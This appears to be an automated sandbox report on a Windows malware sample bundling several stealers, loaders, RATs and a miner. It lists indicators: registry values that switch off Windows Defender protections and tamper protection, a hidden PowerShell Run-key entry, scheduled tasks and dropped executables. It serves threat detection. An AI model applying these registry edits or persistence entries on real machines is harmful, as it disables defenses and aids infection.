Malware Analysis Report

2025-06-16 01:30

Sample ID 231031-ewybfsge2v
Target file.exe
SHA256 2a9b3852b7f12031702400476992c1a136872b5e15120cca65f61f843b05e810
Tags
amadey dcrat glupteba raccoon redline sectoprat smokeloader xmrig zgrat 6a6a005b9aa778f606280c5fa24ae595 @ytlogsbot grome kinza pixelnew up3 backdoor paypal collection discovery dropper evasion infostealer loader miner persistence phishing rat spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2a9b3852b7f12031702400476992c1a136872b5e15120cca65f61f843b05e810

Threat Level: Known bad

The file file.exe was found to be: Known bad.

Malicious Activity Summary

amadey dcrat glupteba raccoon redline sectoprat smokeloader xmrig zgrat 6a6a005b9aa778f606280c5fa24ae595 @ytlogsbot grome kinza pixelnew up3 backdoor paypal collection discovery dropper evasion infostealer loader miner persistence phishing rat spyware stealer trojan upx

ZGRat

Modifies Windows Defender Real-time Protection settings

Glupteba payload

SmokeLoader

SectopRAT

DcRat

Amadey

xmrig

RedLine payload

Raccoon Stealer payload

Raccoon

RedLine

Glupteba

SectopRAT payload

Detect ZGRat V1

XMRig Miner payload

Blocklisted process makes network request

Downloads MZ/PE file

Modifies Windows Firewall

Stops running service(s)

Checks computer location settings

Loads dropped DLL

UPX packed file

Windows security modification

Reads user/profile data of web browsers

Executes dropped EXE

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Checks installed software on the system

Adds Run key to start application

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Detected potential entity reuse from brand paypal.

Drops file in Program Files directory

Launches sc.exe

Unsigned PE

Enumerates physical storage devices

Program crash

Suspicious use of FindShellTrayWindow

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

outlook_office_path

outlook_win_path

Modifies data under HKEY_USERS

Enumerates system info in registry

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Checks SCSI registry key(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-31 04:18

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-31 04:18

Reported

2023-10-31 04:20

Platform

win10v2004-20231023-en

Max time kernel

72s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\file.exe"

Signatures

Amadey

trojan amadey

DcRat

rat infostealer dcrat
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\file.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\5F65.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\5F65.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\5F65.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\5F65.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\5F65.exe N/A

Raccoon

stealer raccoon

Raccoon Stealer payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

ZGRat

rat zgrat

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Cs5Zi8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7dt2dE88.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\5C54.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ce0Jy5LI.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\5CF1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hb3tq8Vz.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\fq9bZ8Ym.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\eX2rY5HT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1xb98JM7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\5EA8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\5F65.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\6070.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\6274.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Th956iw.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8BC8.exe N/A
N/A N/A C:\Windows\System32\Conhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\latestX.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\A06B.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\A696.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Program Files (x86)\KAudioConverter\KAudioConverter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A
N/A N/A C:\Program Files (x86)\KAudioConverter\KAudioConverter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\B04C.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\5F65.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\eX2rY5HT.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\8BC8.exe'\"" C:\Users\Admin\AppData\Local\Temp\8BC8.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\5C54.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ce0Jy5LI.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hb3tq8Vz.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\fq9bZ8Ym.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\file.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Detected potential entity reuse from brand paypal.

phishing paypal

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\KAudioConverter\is-V8JEI.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-7QMGU.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-GH1SO.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-7G22E.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-JKB6Q.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\XML\Styles\is-BVGCO.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\XML\Styles\is-BMPIV.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-KB5U9.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File opened for modification C:\Program Files (x86)\KAudioConverter\KAudioConverter.exe C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-5MP1C.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-34U2U.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-SG8TV.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-9QNQS.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\XML\Styles\is-T17TO.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File opened for modification C:\Program Files (x86)\KAudioConverter\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-MFIP8.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\KAudioConverter\is-34762.tmp C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
